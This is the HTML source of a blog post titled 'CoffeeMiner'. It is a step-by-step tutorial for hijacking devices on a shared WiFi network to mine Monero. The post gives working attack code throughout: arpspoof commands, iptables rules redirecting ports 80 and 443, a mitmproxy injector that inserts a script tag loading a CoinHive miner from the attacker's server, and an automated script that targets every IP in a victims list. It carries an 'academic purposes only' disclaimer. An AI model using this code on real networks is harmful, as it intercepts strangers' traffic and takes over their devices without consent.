arnaucube
arnaucube/arnaucube.comPublic Self-hosted repository
arnaucube.com/public/coffeeminer-hacking-wifi-cryptocurrency-miner.html
public/coffeeminer-hacking-wifi-cryptocurrency-miner.htmlRaw
  1<!DOCTYPE html>
  2<html lang="en">
  3
  4  <head>
  5    <meta name="description" content="The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker." />
  6    <meta charset="utf-8">
  7    <title> CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - arnaucube - blog</title>
  8    <meta name="title" content=" CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - arnaucube - blog">
  9    <meta name="description" content="The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker.">
 10
 11    <meta property="og:title" content=" CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - arnaucube - blog" />
 12    <meta property="og:description" content="The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker." />
 13    <meta property="og:url" content="https://arnaucube.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html" />
 14    <meta property="og:type" content="article" />
 15    <meta property="og:image" content="https://arnaucube.com/blog/img/posts/coffeeMiner/coffeeMiner-network-attack.png" />
 16    <meta name="twitter:title" content=" CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - arnaucube - blog">
 17    <meta name="twitter:description" content="The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker.">
 18    <meta name="twitter:image" content="https://arnaucube.com/blog/img/posts/coffeeMiner/coffeeMiner-network-attack.png">
 19    <meta name="twitter:card" content="summary_large_image">
 20    <meta name="author" content="arnaucube">
 21
 22    <meta name="viewport" content="width=device-width, initial-scale=1">
 23
 24    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">
 25    <link rel="stylesheet" href="css/style.css">
 26
 27    <!-- highlightjs -->
 28    <!-- <link rel="stylesheet" href="js/highlightjs/atom-one-dark.css"> -->
 29    <link rel="stylesheet" href="js/highlightjs/gruvbox-dark.css">
 30    <script src="js/highlightjs/highlight.pack.js"></script>
 31
 32    <!-- katex -->
 33    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.13.11/dist/katex.min.css" integrity="sha384-Um5gpz1odJg5Z4HAmzPtgZKdTBHZdw8S29IecapCSB31ligYPhHQZMIlWLYQGVoc" crossorigin="anonymous">
 34  </head>
 35
 36  <body>
 37
 38    <!-- o_gradient_background" -->
 39    <nav id="mainNav" class="navbar navbar-default navbar-fixed-top"
 40                      style="height:50px;font-size:130%;">
 41      <div class="container">
 42        <a href="/blog" style="color:#000;">Blog index</a>
 43        <div style="float:right;">
 44          <a href="/" style="color:#000;display:inline-block;">arnaucube.com</a>
 45          <div class="onoffswitch" style="margin:10px;display:inline-block;" title="change theme">
 46            <input onclick="switchTheme()" type="checkbox" name="onoffswitch" class="onoffswitch-checkbox"
 47              id="themeSwitcher">
 48            <label class="onoffswitch-label" for="themeSwitcher"></label>
 49          </div>
 50        </div>
 51      </div>
 52      <img style="height:5px; width:100%; margin-top:8px;" src="img/gradient-line.jpg" />
 53    </nav>
 54
 55
 56
 57    <div class="container" style="margin-top:40px;max-width:800px;">
 58      <h1>CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests</h1>
 59
 60<p><em>2018-01-04</em></p>
 61
 62<p><strong><em>Disclamer: this article &amp; project is for academic purposes only.</em></strong></p>
 63
 64<p>Some weeks ago I read about <a href="https://motherboard.vice.com/en_us/article/gyd5xq/starbucks-wi-fi-hijacked-peoples-laptops-to-mine-cryptocurrency-coinhive">this Starbucks case</a> where hackers hijacked laptops on the WiFi network to use the devices computing power to mine cryptocurrency, and I thought it might be interesting perform the attack in a different way.</p>
 65
 66<p>The goal of this article, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the devices connected to a WiFi network to be mining a cryptocurrency for the attacker.</p>
 67
 68<p><img src="img/posts/coffeeMiner/coffeeMiner-logo-small.png" alt="coffeeMiner" title="coffeeMiner" /></p>
 69
 70<p>The objective is to have a script that performs autonomous attack on the WiFi network. It&rsquo;s what we have called <strong>CoffeeMiner</strong>, as it&rsquo;s a kind of attack that can be performed in the cafes WiFi networks.</p>
 71
 72<h2>1. The Scenario</h2>
 73
 74<p>The scenario will be some machines connected to the WiFi network, and the CoffeeMiner attacker intercepting the traffic between the users and the router.</p>
 75
 76<p><img src="img/posts/coffeeMiner/coffeeMiner-network-attack.png" alt="network" title="network" /></p>
 77
 78<h3>1.1 Scenario configuration</h3>
 79
 80<p>The real scenario is a WiFi with laptops and smartphones connected. We have tested in this real world scenario, and it works. But for this article, we will see more deeply how to set up in a virtual environment.</p>
 81
 82<p>We will use VirtualBox to deploy our virtual scenario <a href="https://www.virtualbox.org/">https://www.virtualbox.org/</a> .</p>
 83
 84<p>First of all we need to download some Linux disk image and install it into a VirtualBox machine, for this example we will use Kali Linux images <a href="https://www.kali.org/">https://www.kali.org/</a></p>
 85
 86<p>Once we have the ISO image downloaded, we prepare 3 VBox machines with the Linux image installed.</p>
 87
 88<p>To configure the defined scenario we need to prepare the machines each one with a role:</p>
 89
 90<ul>
 91<li>Victim
 92
 93<ul>
 94<li>will be the machine that connects to the Router and browse some pages.</li>
 95</ul></li>
 96<li>Attacker
 97
 98<ul>
 99<li>will be the machine where it runs the CoffeeMiner. Is the machine that performs the MITM.</li>
100</ul></li>
101<li>Router / Gateway
102
103<ul>
104<li>will act as a normal gateway.</li>
105</ul></li>
106</ul>
107
108<p><img src="img/posts/coffeeMiner/scenario01.png" alt="network" title="network" /></p>
109
110<p>Once the attack is performed, the scenario will be:</p>
111
112<p><img src="img/posts/coffeeMiner/scenario02.png" alt="network" title="network" /></p>
113
114<p>To configure each one of the machines, we will do the following configuration:</p>
115
116<ul>
117<li>Victim
118
119<ul>
120<li>network adapter:
121
122<ul>
123<li>eth0: Host-only Adapter</li>
124</ul></li>
125<li>/etc/network/interfaces:</li>
126</ul></li>
127</ul>
128
129<pre><code class="language-bash">auto lo
130iface lo inet loopback
131
132auto eth0
133iface eth0 inet static
134    address 10.0.2.10
135    netmask 255.255.255.0
136    gateway 10.0.2.15
137</code></pre>
138
139<ul>
140<li>Attacker
141
142<ul>
143<li>network adapter:
144
145<ul>
146<li>eth0: Host-only Adapter</li>
147</ul></li>
148<li>/etc/network/interfaces:</li>
149</ul></li>
150</ul>
151
152<pre><code class="language-bash">auto lo
153iface lo inet loopback
154
155auto eth0
156iface eth0 inet static
157    address 10.0.2.20
158    netmask 255.255.255.0
159    gateway 10.0.2.15
160</code></pre>
161
162<ul>
163<li>Router / Gateway
164
165<ul>
166<li>network adapter:
167
168<ul>
169<li>eth0: Bridged Adapter</li>
170<li>eth1: Host-only Adapter</li>
171</ul></li>
172<li>/etc/network/interfaces:</li>
173</ul></li>
174</ul>
175
176<pre><code class="language-bash">auto lo
177iface lo inet loopback
178
179auto eth0
180iface eth0 inet dhcp
181
182auto eth1
183iface eth1 inet static
184    address 10.0.2.15
185    netmask 255.255.255.0
186</code></pre>
187
188<h2>2. CoffeeMiner, understanding the code</h2>
189
190<h3>2.1 ARPspoofing</h3>
191
192<p>First of all, we need to understand how the MITM attack is performed.</p>
193
194<p>From wikipedia:</p>
195
196<p><em>&ldquo;In computer networking, ARP spoofing, ARP cache poisoning, or ARP poison routing, is a technique by which an attacker sends (spoofed) Address Resolution Protocol (ARP) messages onto a local area network. Generally, the aim is to associate the attacker&rsquo;s MAC address with the IP address of another host, such as the default gateway, causing any traffic meant for that IP address to be sent to the attacker instead.&rdquo;</em></p>
197
198<p><a href="https://en.wikipedia.org/wiki/ARP_spoofing">https://en.wikipedia.org/wiki/ARP_spoofing</a></p>
199
200<p>To perform the ARPspoofing attack, we will use the <strong>dsniff</strong> library.</p>
201
202<pre><code class="language-bash">arpspoof -i interface -t ipVictim ipGateway
203arpspoof -i interface -t ipGateway ipVictim
204</code></pre>
205
206<h3>2.2 mitmproxy</h3>
207
208<p><a href="https://mitmproxy.org/">mitmproxy</a> is a software tool that allows us to analyze the traffic that goes through a host, and allows to edit that traffic. In our case, we will use it to inject the javascript into the html pages.</p>
209
210<p>To make the process more more clean, we will only inject one line of code into the html pages. And will be that line of html code that will call to the javascript cryptocurrency miner.</p>
211
212<p>The line to inject the crypto miner is:</p>
213
214<pre><code class="language-html">&lt;script src=&quot;http://httpserverIP:8000/script.js&quot;&gt;&lt;/script&gt;
215</code></pre>
216
217<h3>2.3 Injector</h3>
218
219<p>Once we have the victim&rsquo;s traffic intercepted, we need to inject our script on it. We will use the mitmproxy API to do the injector:</p>
220
221<pre><code class="language-python">from bs4 import BeautifulSoup
222from mitmproxy import ctx, http
223import argparse
224
225class Injector:
226    def __init__(self, path):
227        self.path = path
228
229    def response(self, flow: http.HTTPFlow) -&gt; None:
230        if self.path:
231            html = BeautifulSoup(flow.response.content, &quot;html.parser&quot;)
232            print(self.path)
233            print(flow.response.headers[&quot;content-type&quot;])
234            if flow.response.headers[&quot;content-type&quot;] == 'text/html':
235                script = html.new_tag(
236                    &quot;script&quot;,
237                    src=self.path,
238                    type='application/javascript')
239                html.body.insert(0, script)
240                flow.response.content = str(html).encode(&quot;utf8&quot;)
241                print(&quot;Script injected.&quot;)
242
243def start():
244    parser = argparse.ArgumentParser()
245    parser.add_argument(&quot;path&quot;, type=str)
246    args = parser.parse_args()
247    return Injector(args.path)
248
249</code></pre>
250
251<h3>2.4 HTTP Server</h3>
252
253<p>As we have seen, the injector adds a line to the html, with a call to our javascript crypto miner. So, we need to have the script file deployed in a HTTP Server.</p>
254
255<p>In order to serve the javascript cryptocurrency miner, we will deploy a HTTP Server in the attacker machine. To do that, we will use the Python library &lsquo;http.server&rsquo;:</p>
256
257<pre><code class="language-python">#!/usr/bin/env python
258import http.server
259import socketserver
260import os
261
262PORT = 8000
263
264web_dir = os.path.join(os.path.dirname(__file__), 'miner_script')
265os.chdir(web_dir)
266
267Handler = http.server.SimpleHTTPRequestHandler
268httpd = socketserver.TCPServer((&quot;&quot;, PORT), Handler)
269print(&quot;serving at port&quot;, PORT)
270httpd.serve_forever()
271</code></pre>
272
273<p>The code above is a simple HTTP Server that will serve our crypto miner to the victims, when they require it.</p>
274
275<p>The javascript miner, will be placed in the /miner_script directory. In our case, we have used the <a href="https://coinhive.com/">CoinHive</a> javascript miner.</p>
276
277<h3>2.5 CoinHive crypto miner</h3>
278
279<p><a href="https://coinhive.com/">CoinHive</a> is a javascript miner for the <a href="https://coinmarketcap.com/es/currencies/monero/">Monero cryptocurrency</a> (XMR). It can be added to a website, and will use the user CPU power to calculate hashes with the Cryptonight PoW hash algorithm to mine Monero, based on <a href="https://cryptonote.org/">CryptoNote</a> protocol.</p>
280
281<p>CoinHive miner makes sense when user stays in a website for mid-long term sessions. So, for example, for a website where the users average session is arround 40 seconds, it doesn&rsquo;t make much sense.</p>
282
283<p>In our case, as we will inject the crypto miner in each one of the HTML pages that victims request, will have long term sessions to calculate hashes to mine Monero.</p>
284
285<p><img src="img/posts/coffeeMiner/coinhive-monero-logo.jpg" alt="CoinHive logo" title="CoinHive logo" /></p>
286
287<h2>3. CoffeeMiner, puting all together</h2>
288
289<p>The main objective is to tie all the previous concepts in one autonomous deployment. This will be the CoffeeMiner.</p>
290
291<p>The idea is to have the CoffeeMiner script that performs the ARPspoofing attack and set ups the mitmproxy to inject the CoinHive cryptominer into victims HTML pages.</p>
292
293<p>First of all, we need to configure the ip_forwarding and IPTABLES, in order to convert the attacker&rsquo;s machine into a proxy:</p>
294
295<pre><code class="language-bash">echo 1 &gt; /proc/sys/net/ipv4/ip_forward
296iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
297iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
298</code></pre>
299
300<p>To perform the ARPspoof for all the victims, we will prepare a &lsquo;victims.txt&rsquo; file with all the victim&rsquo;s IP.
301To read all the victims IPs, we prepare some Python lines, that will get the IPs (and also the gateway IP from the command line args), and performs the ARPspoof for each one of the victim&rsquo;s IP.</p>
302
303<pre><code class="language-python"># get gateway_ip
304gateway = sys.argv[1]
305print(&quot;gateway: &quot; + gateway)
306# get victims_ip
307victims = [line.rstrip('\n') for line in open(&quot;victims.txt&quot;)]
308print(&quot;victims:&quot;)
309print(victims)
310
311# run the arpspoof for each victim, each one in a new console
312for victim in victims:
313    os.system(&quot;xterm -e arpspoof -i eth0 -t &quot; + victim + &quot; &quot; + gateway + &quot; &amp;&quot;)
314    os.system(&quot;xterm -e arpspoof -i eth0 -t &quot; + gateway + &quot; &quot; + victim + &quot; &amp;&quot;)
315</code></pre>
316
317<p>Once we have the ARPspoofing performed, we just need to run the HTTP Server:</p>
318
319<pre><code class="language-bash">&gt; python3 httpServer.py
320</code></pre>
321
322<p>And now, we can run the mitmproxy with the injector.py:</p>
323
324<pre><code class="language-bash">&gt; mitmdump -s 'injector.py http://httpserverIP:8000/script.js'
325</code></pre>
326
327<h2>3.1 CoffeeMiner, final script</h2>
328
329<p>Now we put all the concepts explained above in the &lsquo;coffeeMiner.py&rsquo; script:</p>
330
331<pre><code class="language-python">import os
332import sys
333
334#get gateway_ip (router)
335gateway = sys.argv[1]
336print(&quot;gateway: &quot; + gateway)
337# get victims_ip
338victims = [line.rstrip('\n') for line in open(&quot;victims.txt&quot;)]
339print(&quot;victims:&quot;)
340print(victims)
341
342# configure routing (IPTABLES)
343os.system(&quot;echo 1 &gt; /proc/sys/net/ipv4/ip_forward&quot;)
344os.system(&quot;iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE&quot;)
345os.system(&quot;iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080&quot;)
346os.system(&quot;iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080&quot;)
347
348
349# run the arpspoof for each victim, each one in a new console
350for victim in victims:
351    os.system(&quot;xterm -e arpspoof -i eth0 -t &quot; + victim + &quot; &quot; + gateway + &quot; &amp;&quot;)
352    os.system(&quot;xterm -e arpspoof -i eth0 -t &quot; + gateway + &quot; &quot; + victim + &quot; &amp;&quot;)
353
354# start the http server for serving the script.js, in a new console
355os.system(&quot;xterm -hold -e 'python3 httpServer.py' &amp;&quot;)
356
357# start the mitmproxy
358os.system(&quot;~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T&quot;)
359</code></pre>
360
361<p>And also in the &lsquo;injector.py&rsquo; script:</p>
362
363<pre><code class="language-python">from bs4 import BeautifulSoup
364from mitmproxy import ctx, http
365import argparse
366
367class Injector:
368    def __init__(self, path):
369        self.path = path
370
371    def response(self, flow: http.HTTPFlow) -&gt; None:
372        if self.path:
373            html = BeautifulSoup(flow.response.content, &quot;html.parser&quot;)
374            print(self.path)
375            print(flow.response.headers[&quot;content-type&quot;])
376            if flow.response.headers[&quot;content-type&quot;] == 'text/html':
377                print(flow.response.headers[&quot;content-type&quot;])
378                script = html.new_tag(
379                    &quot;script&quot;,
380                    src=self.path,
381                    type='application/javascript')
382                html.body.insert(0, script)
383                flow.response.content = str(html).encode(&quot;utf8&quot;)
384                print(&quot;Script injected.&quot;)
385
386def start():
387    parser = argparse.ArgumentParser()
388    parser.add_argument(&quot;path&quot;, type=str)
389    args = parser.parse_args()
390    return Injector(args.path)
391</code></pre>
392
393<p>And to execute, we just need to do:</p>
394
395<pre><code class="language-bash">&gt; python3 coffeeMiner.py RouterIP
396</code></pre>
397
398<h2>4. Demo</h2>
399
400<p>In order to do the demo, we set up the VirtualBox scenario explained above.</p>
401
402<p>If we want to perform the attack manually, we will need the following terminals:</p>
403
404<p><img src="img/posts/coffeeMiner/demo01.png" alt="demo" title="demo" /></p>
405
406<p>Then, once the ARPspoofing attack is done and the injector and the HTTP Server are ready, we can go to the victim&rsquo;s machine and browse to a website. The victim&rsquo;s traffic will go through the attacker machine, and will activate the injector:</p>
407
408<p><img src="img/posts/coffeeMiner/demo02.png" alt="demo" title="demo" /></p>
409
410<p>As a result, the html pages that the victim is viewing, will have the html lines of code that the attacker has been injected.</p>
411
412<p><img src="img/posts/coffeeMiner/coffeeMiner-demo-cutted.gif" alt="demo" title="demo" /></p>
413
414<h4>4.1 Demo video</h4>
415
416<p>In the following video, we can see the complete attack in the scenario, using the coffeeMiner.py script:</p>
417
418<ul>
419<li>VirtualBox demo:</li>
420</ul>
421
422<p><a href="https://www.youtube.com/watch?v=wmYJ6Z4LoCA"><img src="img/posts/coffeeMiner/demo-video.png" alt="video demo" /></a></p>
423
424<ul>
425<li>Real world WiFi network and laptops demo:</li>
426</ul>
427
428<p><a href="https://www.youtube.com/watch?v=-TnzGLUD0DU"><img src="img/posts/coffeeMiner/demo-realWiFi-video.png" alt="video demo" /></a></p>
429
430<h2>Conclusion</h2>
431
432<p>As we have seen, the attack can be easily performed, and also can be deployed to be an autonomous attack in a WiFi network.</p>
433
434<p>Another thing to have in mind, is that for a real world WiFi network, is better to perform the process with a powerful WiFi antenna, to reach better all the physical zone.</p>
435
436<p>Tha main objective was to perform the autonomous attack, but we still need to edit the victims.txt file with the IP addresses of the victims devices. For a further version, a possible feature could be adding an autonomous <a href="https://nmap.org/">Nmap</a> scan, to add the IPs detected to the CoffeeMiner victims list. Another further feature, could be adding <a href="https://moxie.org/software/sslstrip/">sslstrip</a>, to make sure the injection also in the websites that the user can request over HTTPS.</p>
437
438<p>The complete code is available in the github repo: <a href="https://github.com/arnaucube/coffeeMiner">https://github.com/arnaucube/coffeeMiner</a></p>
439
440<hr>
441
442<p><strong><em>Disclamer: this article &amp; project is for academic purposes only.</em></strong></p>
443
444<hr>
445
446<p><em>tags: python, cryptocurrency, miner, blockchain, mitm, wifi, javascript, hacking, html, cryptominer, python3</em></p>
447
448<hr>
449
450<h1>References in the press about this article</h1>
451
452<ul>
453<li><p>English</p>
454
455<ul>
456<li><a href="https://www.theregister.co.uk/2018/01/05/wi_fi_crypto_mining/">https://www.theregister.co.uk/2018/01/05/wi_fi_crypto_mining/</a></li>
457<li><a href="http://securityaffairs.co/wordpress/67438/hacking/coffeeminer-hacking-wifi-cryptocurrency.html">http://securityaffairs.co/wordpress/67438/hacking/coffeeminer-hacking-wifi-cryptocurrency.html</a></li>
458<li><a href="https://gbhackers.com/coffeeminer-hacking-wifi/">https://gbhackers.com/coffeeminer-hacking-wifi/</a></li>
459<li><a href="https://www.privateinternetaccess.com/blog/2018/01/stop-coffeeminer-tool-injects-cryptocurrency-miner-html-requests-wifi-hotspots/">https://www.privateinternetaccess.com/blog/2018/01/stop-coffeeminer-tool-injects-cryptocurrency-miner-html-requests-wifi-hotspots/</a></li>
460<li><a href="http://www.zdnet.com/article/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/">http://www.zdnet.com/article/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/</a></li>
461<li><a href="https://sensorstechforum.com/coffeeminer-malware-virus-detect-remove/">https://sensorstechforum.com/coffeeminer-malware-virus-detect-remove/</a></li>
462<li><a href="http://turningtrend.com/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/">http://turningtrend.com/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/</a></li>
463<li><a href="https://www.theissue.com/technology/coffeeminer-demonstrates-how-hijackers-can-use-public-wi-fi-networks-to-mine-cryptocurrency">https://www.theissue.com/technology/coffeeminer-demonstrates-how-hijackers-can-use-public-wi-fi-networks-to-mine-cryptocurrency</a></li>
464<li><a href="https://koddos.net/blog/hackers-use-coffeeminer-hijack-public-wifi-hotspots-mine-cryptocurrency/?utm_source=Sociallymap&amp;utm_medium=Sociallymap&amp;utm_campaign=Sociallymap">https://koddos.net/blog/hackers-use-coffeeminer-hijack-public-wifi-hotspots-mine-cryptocurrency/?utm_source=Sociallymap&amp;utm_medium=Sociallymap&amp;utm_campaign=Sociallymap</a></li>
465<li><a href="http://nymag.com/selectall/2018/01/coffeeminer-allows-hackers-to-mine-bitcoin-on-public-wi-fi.html">http://nymag.com/selectall/2018/01/coffeeminer-allows-hackers-to-mine-bitcoin-on-public-wi-fi.html</a></li>
466<li><a href="https://medium.com/computerist/beware-coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins-1915624c2ea5">https://medium.com/computerist/beware-coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins-1915624c2ea5</a></li>
467<li><a href="https://resiliencepost.com/2018/01/12/coffeeminer-forces-coffee-shop-visitors-to-mine-for-monero/">https://resiliencepost.com/2018/01/12/coffeeminer-forces-coffee-shop-visitors-to-mine-for-monero/</a></li>
468<li><a href="https://fossbytes.com/coffeeminer-attack-wifi-attack-cryptomining/">https://fossbytes.com/coffeeminer-attack-wifi-attack-cryptomining/</a></li>
469<li><a href="https://securityboulevard.com/2018/01/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency/">https://securityboulevard.com/2018/01/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency/</a></li>
470<li><a href="https://latesthackingnews.com/2018/01/07/hacking-wireless-networks-use-coffeeminer-inject-cryptocurrency-miners/">https://latesthackingnews.com/2018/01/07/hacking-wireless-networks-use-coffeeminer-inject-cryptocurrency-miners/</a></li>
471<li><a href="https://nakedsecurity.sophos.com/2018/01/09/coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins/">https://nakedsecurity.sophos.com/2018/01/09/coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins/</a></li>
472<li><a href="https://hotforsecurity.bitdefender.com/blog/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency-19414.html">https://hotforsecurity.bitdefender.com/blog/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency-19414.html</a></li>
473<li><a href="https://www.helpnetsecurity.com/2018/01/08/public-wifi-cryptocurrency-mining/">https://www.helpnetsecurity.com/2018/01/08/public-wifi-cryptocurrency-mining/</a></li>
474<li><a href="https://www.infosecurity-magazine.com/news/coffeeminer-mine-for-monero/">https://www.infosecurity-magazine.com/news/coffeeminer-mine-for-monero/</a></li>
475<li><a href="http://www.ibtimes.co.uk/what-coffeeminer-new-attack-lets-hackers-hijack-public-wifi-networks-mine-cryptocurrency-1654320">http://www.ibtimes.co.uk/what-coffeeminer-new-attack-lets-hackers-hijack-public-wifi-networks-mine-cryptocurrency-1654320</a></li>
476</ul></li>
477
478<li><p>Spanish</p>
479
480<ul>
481<li><a href="http://www.elladodelmal.com/2018/01/coffeeminer-te-tomas-tu-cafe-te.html">http://www.elladodelmal.com/2018/01/coffeeminer-te-tomas-tu-cafe-te.html</a></li>
482<li><a href="https://blogs.protegerse.com/2018/01/10/coffeeminer-minando-criptodivisas-sin-autorizacion-usando-la-wifi-como-vector-de-ataque/">https://blogs.protegerse.com/2018/01/10/coffeeminer-minando-criptodivisas-sin-autorizacion-usando-la-wifi-como-vector-de-ataque/</a></li>
483<li><a href="http://noticiasseguridad.com/seguridad-informatica/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/">http://noticiasseguridad.com/seguridad-informatica/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/</a></li>
484<li><a href="https://www.redeszone.net/2018/01/06/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/">https://www.redeszone.net/2018/01/06/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/</a></li>
485<li><a href="https://terabytezone.com/coffeeminer-minado-criptomonedas-redes-wifi/">https://terabytezone.com/coffeeminer-minado-criptomonedas-redes-wifi/</a></li>
486<li><a href="http://www.nexusmovil.com/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/">http://www.nexusmovil.com/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/</a></li>
487<li><a href="https://www.coincrispy.com/2018/01/10/coffeeminer-ataque-mineria-criptomonedas/">https://www.coincrispy.com/2018/01/10/coffeeminer-ataque-mineria-criptomonedas/</a></li>
488<li><a href="https://www.criptonoticias.com/seguridad/coffeeminer-secuestra-redes-publicas-wi-fi-para-minar-criptomonedas/">https://www.criptonoticias.com/seguridad/coffeeminer-secuestra-redes-publicas-wi-fi-para-minar-criptomonedas/</a></li>
489</ul></li>
490
491<li><p>Russian</p>
492
493<ul>
494<li><a href="https://forklog.com/ispanskij-issledovatel-razrabotal-majner-dlya-publichnyh-wi-fi-setej/">https://forklog.com/ispanskij-issledovatel-razrabotal-majner-dlya-publichnyh-wi-fi-setej/</a></li>
495<li><a href="https://coinsider.com/p/news/2542-coffeeminer-novaya-programma-dlya-skrytogo-majninga-kriptovalyuty">https://coinsider.com/p/news/2542-coffeeminer-novaya-programma-dlya-skrytogo-majninga-kriptovalyuty</a></li>
496<li><a href="https://xakep.ru/2018/01/10/coffeeminer/">https://xakep.ru/2018/01/10/coffeeminer/</a></li>
497</ul></li>
498
499<li><p>Italian</p>
500
501<ul>
502<li><a href="http://cybersecurity.startupitalia.eu/56384-20180108-coffeeminer-hackerare-le-reti-wifi-produrre-criptovalute">http://cybersecurity.startupitalia.eu/56384-20180108-coffeeminer-hackerare-le-reti-wifi-produrre-criptovalute</a></li>
503</ul></li>
504
505<li><p>Bulgarian</p>
506
507<ul>
508<li><a href="https://questona.com/coffeeminer-wifi/">https://questona.com/coffeeminer-wifi/</a></li>
509</ul></li>
510
511<li><p>Greek</p>
512
513<ul>
514<li><a href="https://www.youbrandinc.com/crytocurrency/%CF%80%CE%B1%CF%81%CE%B1%CE%B2%CE%B9%CE%AC%CF%83%CF%84%CE%B5-%CF%84%CE%BF-free-wi-fi-%CF%84%CE%B7%CF%82-%CE%B3%CE%B5%CE%B9%CF%84%CE%BF%CE%BD%CE%B9%CE%AC%CF%82-%CF%83%CE%B1%CF%82-%CE%B3%CE%B9%CE%B1-mon/">https://www.youbrandinc.com/crytocurrency/%CF%80%CE%B1%CF%81%CE%B1%CE%B2%CE%B9%CE%AC%CF%83%CF%84%CE%B5-%CF%84%CE%BF-free-wi-fi-%CF%84%CE%B7%CF%82-%CE%B3%CE%B5%CE%B9%CF%84%CE%BF%CE%BD%CE%B9%CE%AC%CF%82-%CF%83%CE%B1%CF%82-%CE%B3%CE%B9%CE%B1-mon/</a></li>
515</ul></li>
516
517<li><p>Turkish</p>
518
519<ul>
520<li><a href="http://blog.cyberage.com.tr/2018/01/10/coffeeminer/">http://blog.cyberage.com.tr/2018/01/10/coffeeminer/</a></li>
521</ul></li>
522
523<li><p>Dutch</p>
524
525<ul>
526<li><a href="https://www.smartbiz.be/nieuws/173781/hoe-een-publiek-wifi-netwerk-kan-worden-gehackt-om-cryptomunten-te-minen/">https://www.smartbiz.be/nieuws/173781/hoe-een-publiek-wifi-netwerk-kan-worden-gehackt-om-cryptomunten-te-minen/</a></li>
527</ul></li>
528
529<li><p>Chinese</p>
530
531<ul>
532<li><a href="http://www.4hou.com/wireless/9773.html">http://www.4hou.com/wireless/9773.html</a></li>
533<li><a href="https://www.ithome.com.tw/news/120449">https://www.ithome.com.tw/news/120449</a></li>
534</ul></li>
535</ul>
536
537<h4>Destacated tweets</h4>
538
539<ul>
540<li>@defcon <a href="https://twitter.com/defcon/status/949679959509012480">https://twitter.com/defcon/status/949679959509012480</a></li>
541<li>@x0rz <a href="https://twitter.com/x0rz/status/948865836609130496">https://twitter.com/x0rz/status/948865836609130496</a></li>
542<li>@avast_antivirus <a href="https://twitter.com/avast_antivirus/status/951835917815308288">https://twitter.com/avast_antivirus/status/951835917815308288</a></li>
543<li>@fullstackpython <a href="https://twitter.com/fullstackpython/status/949707681543213057">https://twitter.com/fullstackpython/status/949707681543213057</a></li>
544<li>@alienvault <a href="https://twitter.com/alienvault/status/950449599872929792">https://twitter.com/alienvault/status/950449599872929792</a></li>
545<li>@binitamshah <a href="https://twitter.com/binitamshah/status/951520444900818945">https://twitter.com/binitamshah/status/951520444900818945</a></li>
546<li>@_odisseus <a href="https://twitter.com/_odisseus/status/951052521967144960">https://twitter.com/_odisseus/status/951052521967144960</a></li>
547</ul>
548
549<p><img src="img/posts/coffeeMiner/tweets_small.png" alt="tweets" title="tweets" /></p>
550
551    </div>
552
553    <footer style="text-align:center; margin-top:100px;margin-bottom:50px;">
554      <div class="container">
555        <div class="row">
556          <ul class="list-inline">
557            <li><a href="https://twitter.com/arnaucube"
558                   style="color:gray;text-decoration:none;"
559                   target="_blank">twitter.com/arnaucube</a>
560            </li>
561            <li><a href="https://github.com/arnaucube"
562                   style="color:gray;text-decoration:none;"
563                   target="_blank">github.com/arnaucube</a>
564            </li>
565          </ul>
566        </div>
567        <div class="row" style="display:inline-block;">
568          Blog made with <a href="http://github.com/arnaucube/blogo/"
569                            target="_blank" style="color: gray;text-decoration:none;">Blogo</a>
570        </div>
571      </div>
572    </footer>
573
574    <script>
575    </script>
576    <script src="js/external-links.js"></script>
577    <script>hljs.initHighlightingOnLoad();</script>
